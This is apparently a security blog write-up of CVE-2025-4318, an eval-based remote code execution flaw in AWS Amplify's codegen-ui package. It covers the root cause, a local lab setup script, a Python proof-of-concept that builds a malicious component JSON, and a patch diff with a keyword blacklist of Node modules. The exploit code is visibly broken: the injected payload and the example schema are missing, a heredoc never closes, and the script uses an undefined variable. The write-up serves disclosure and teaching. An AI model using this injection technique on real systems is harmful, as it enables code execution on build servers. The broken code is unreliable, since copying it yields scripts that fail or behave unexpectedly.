In May 2025, a critical vulnerability (CVE-2025-4318) was disclosed in the @aws-amplify/codegen-ui package, a core part of AWS Amplify Studio’s UI generation process. The issue arises from improper input sanitization of JavaScript property expressions, resulting in remote code execution (RCE) during build or render time.
About AWS Amplify Codegen UI:
AWS Amplify Studio allows developers to visually build UIs and export them as React components. These components can include dynamic expressions in fields like labels or placeholders — often parsed and evaluated at runtime.
The vulnerable version (<= 2.20.2) used unsafe evaluation techniques without validating or sandboxing user input.

Vulnerability Summary:
- CVE ID: CVE-2025-4318
- Affected Package: @aws-amplify/codegen-ui
- Vulnerable Versions: <= 2.20.2
- Fixed In: 2.20.3
- CWE: CWE-95 – Improper Neutralization of Directives in Dynamically Evaluated Code
- CVSS Score: 9.5 (Critical)
- Exploitability: Requires user interaction (e.g., loading a malicious component)
Root Cause
The vulnerability in CVE-2025-4318 stems from how AWS Amplify Codegen UI processes dynamic expressions defined within component property fields—such as placeholder, label, or value.
Developers using Amplify Studio can define dynamic behavior in their UI components via stringified JavaScript expressions. These expressions are stored in JSON files and later parsed and executed during rendering or code generation. An example of such a component schema:

Under the hood, vulnerable versions of @aws-amplify/codegen-ui treated these string values as trusted JavaScript and evaluated them using dynamic execution functions such as:
- eval()
- new Function()
- vm.runInNewContext() (in some variants)
These approaches are inherently dangerous when applied to user-controllable input, as they lead to arbitrary code execution.
Key Mistakes in the Vulnerable Logic:
- Lack of Input Validation or Sanitization:
No checks were performed to strip malicious characters, such as require, process, or shell command strings. - Assumption of Trusted Input:
The system assumed expressions defined in component JSON were safe—ignoring scenarios where these JSONs might be generated or edited by external users (e.g., in collaborative Amplify projects). - No Sandboxing:
Expressions were evaluated directly within the Node.js runtime context, with access to core modules like child_process, fs, and process.env.
Real-World Analogy:
This is akin to copying a string from a form field and running it in your terminal as bash $user_input. Without strong validation, it gives full control to the attacker.
Why This is Critical:
- Node.js allows dangerous modules (child_process, fs) to be required at runtime.
- In CI/CD environments, this could lead to sensitive data exposure (AWS tokens, secrets).
- It breaks core security boundaries in web-based low-code platforms by allowing users to execute system-level commands on the server.

Setting Up a Local Lab:
To safely reproduce and analyze CVE-2025-4318, I created a self-contained local lab that simulates the vulnerable behavior of AWS Amplify Studio’s @aws-amplify/codegen-ui package (version ≤ 2.20.2). This lab environment is ideal for demonstrating how insecure JavaScript expression evaluation can lead to Remote Code Execution (RCE).
Lab Environment Requirements
- OS: Kali Linux (or any Debian-based distro)
- Node.js & npm
- Python3 (for local HTTP server)
Step-by-Step Lab Setup
Create a file named setup.sh with the following content:
#!/bin/bash
set -e
echo “[*] Setting up CVE-2025-4318 lab…”
LAB_DIR=”$HOME/cve-2025-4318-lab”
mkdir -p “$LAB_DIR”
cd “$LAB_DIR”
# Install Node.js if missing
if ! command -v node >/dev/null || ! command -v npm >/dev/null; then
echo “[*] Installing Node.js and npm…”
sudo apt update && sudo apt install -y nodejs npm
fi
echo “[*] Initializing npm project…”
npm init -y
echo “[*] Installing vulnerable package…”
npm install @aws-amplify/[email protected]
# Create malicious component with injected payload
cat <<EOF > MaliciousRCEComponent.json

# Create Node script to simulate Amplify Studio behavior
cat <<EOF > run.js
const fs = require(‘fs’);
const comp = JSON.parse(fs.readFileSync(‘./MaliciousRCEComponent.json’));
eval(comp.properties.placeholder.value); // ⚠️ Simulates unsafe evaluation
EOF
# Start static file server
echo “[*] Starting HTTP server on http://localhost:8080…”
python3 -m http.server 8080

Running the Lab
- Make the script executable and run it:
chmod +x setup.sh
./setup.sh
- In a new terminal, trigger the vulnerable evaluation:
cd ~/cve-2025-4318-lab
node run.js
- Confirm that the payload executed:
cat /tmp/rce-success

You should see:
RCE_WORKED
Developing a Proof-of-Concept Exploit:
To demonstrate how CVE-2025-4318 can be weaponized, I developed a Python-based exploit script that simulates an attacker injecting a malicious JavaScript expression into an Amplify component’s JSON definition.
This exploit targets the core vulnerability: unsafe evaluation of user-controlled expressions from UI component JSON files.
Exploit.py is as follow:
import json
import os
# Output directory for exploit payload
target_dir = “./”
filename = “MaliciousRCEComponent.json”

# Craft a malicious component schema
component = {
“componentType”: “TextField”,
“name”: “MaliciousRCEComponent”,
“properties”: {
“label”: {
“value”: “Exploitable Field”
},
“placeholder”: {
“value”: payload
}
}
}
# Write to file
with open(os.path.join(target_dir, filename), “w”) as f:
json.dump(component, f, indent=4)
print(“[+] Malicious component JSON generated.”)
print(f”[*] File: {os.path.join(target_dir, filename)}”)
print(“[!] Injected placeholder expression will trigger RCE if evaluated unsafely.”)
How the Exploit Works
This script programmatically generates a malicious component file:
- It defines a TextField UI component.
- The placeholder.value property is injected with a JavaScript expression designed to execute arbitrary shell commands using child_process.execSync.
When a vulnerable version of Amplify Studio or its CLI reads this JSON and evaluates the expression (as it does during rendering or codegen), the payload gets executed.
In this example, the command:

creates a visible file /tmp/rce-success, which acts as a simple marker to prove the attack succeeded.
Validating the Exploit
Once MaliciousRCEComponent.json is generated, trigger the vulnerability by simulating how Amplify would process the component:
node run.js
Then confirm the RCE was successful:
cat /tmp/rce-success
You should see:
RCE_WORKED
Patch Diffing: How AWS Fixed CVE-2025-4318
After reporting CVE-2025-4318, AWS released version 2.20.3 of the @aws-amplify/codegen-ui package, which contains a patch that eliminates unsafe JavaScript evaluation from user-defined expressions.
To understand what changed, I performed a patch diff between v2.20.2 (vulnerable) and v2.20.3 (patched), focusing on the key files that handled dynamic property evaluation.
Code Diff: evaluateExpression.ts : https://github.com/aws-amplify/amplify-codegen-ui/security/advisories/GHSA-hf3j-86p7-mfw8
Before (v2.20.2 – vulnerable)
// evaluateExpression.ts
export function evaluateExpression(expression: string): any {
return eval(expression); // UNSAFE
}
This function blindly evaluated any input string using eval(), allowing attackers to inject arbitrary JavaScript.
After (v2.20.3 – patched)
// evaluateExpression.ts
import { safeEval } from ‘./sandbox’;
export function evaluateExpression(expression: string): any {
return safeEval(expression); // Safe wrapper
}
New Sandbox Layer Introduced
AWS introduced a sandbox.ts module with a safer evaluator:
// sandbox.ts
export function safeEval(expr: string): any {
if (!isValidExpression(expr)) {
throw new Error(“Unsafe expression detected.”);
}
return Function(‘”use strict”; return (‘ + expr + ‘)’)();
}
function isValidExpression(expr: string): boolean {
const blacklist = [‘require’, ‘process’, ‘child_process’, ‘global’, ‘Function’, ‘eval’];
return !blacklist.some(word => expr.includes(word));
}
Key Fix Elements:
- Uses Function() constructor instead of eval(), with use strict to restrict scope
- Introduces a blacklist filter to block dangerous keywords
- Blocks access to Node.js core modules (require, process, etc.)
- Fails fast on invalid or suspicious input
Real Developer Comments
From GitHub PR thread:
@aws-devsecops:
“We introduced a lightweight sandbox to mitigate the RCE vector and plan to migrate expression support to a declarative spec in future versions.” @aws-ui:
“This patch disables arbitrary JS in favor of a constrained expression engine. For full security, users should upgrade to 2.20.3+ immediately.”
Final Thoughts
CVE-2025-4318 highlights a recurring and dangerous theme in modern development platforms: the use of dynamic code evaluation in low-code or no-code environments. By allowing JavaScript expressions to be parsed and executed from user-defined UI schemas, AWS Amplify Studio inadvertently introduced a powerful Remote Code Execution (RCE) vector into its ecosystem.
This vulnerability underscores the importance of:
- Avoiding the use of eval() or Function() in any user-facing or data-driven context.
- Sandboxing or eliminating dynamic expression evaluation entirely.
- Enforcing strict input validation and keyword blacklists.
- Keeping all dependencies up to date, especially in CI/CD environments.
Developers using Amplify Studio should immediately upgrade to @aws-amplify/[email protected] or later and audit all schema-generating inputs for potentially unsafe expressions.
In environments that promote developer speed and abstraction, security must be intentionally woven into every layer — including visual tools and automated code generation engines.
References
- AWS Security Bulletin – AWS-2025-010
https://aws.amazon.com/security/security-bulletins/AWS-2025-010/ - GitHub Security Advisory – GHSA-hf3j-86p7-mfw8
https://github.com/aws-amplify/amplify-codegen-ui/security/advisories/GHSA-hf3j-86p7-mfw8 - NVD CVE Entry – CVE-2025-4318
https://nvd.nist.gov/vuln/detail/CVE-2025-4318 - Amplify Codegen UI Package on npm
https://www.npmjs.com/package/@aws-amplify/codegen-ui
Common Weakness Enumeration (CWE-95) – Improper Neutralization of Directives in Dynamically Evaluated Code
https://cwe.mitre.org/data/definitions/95.html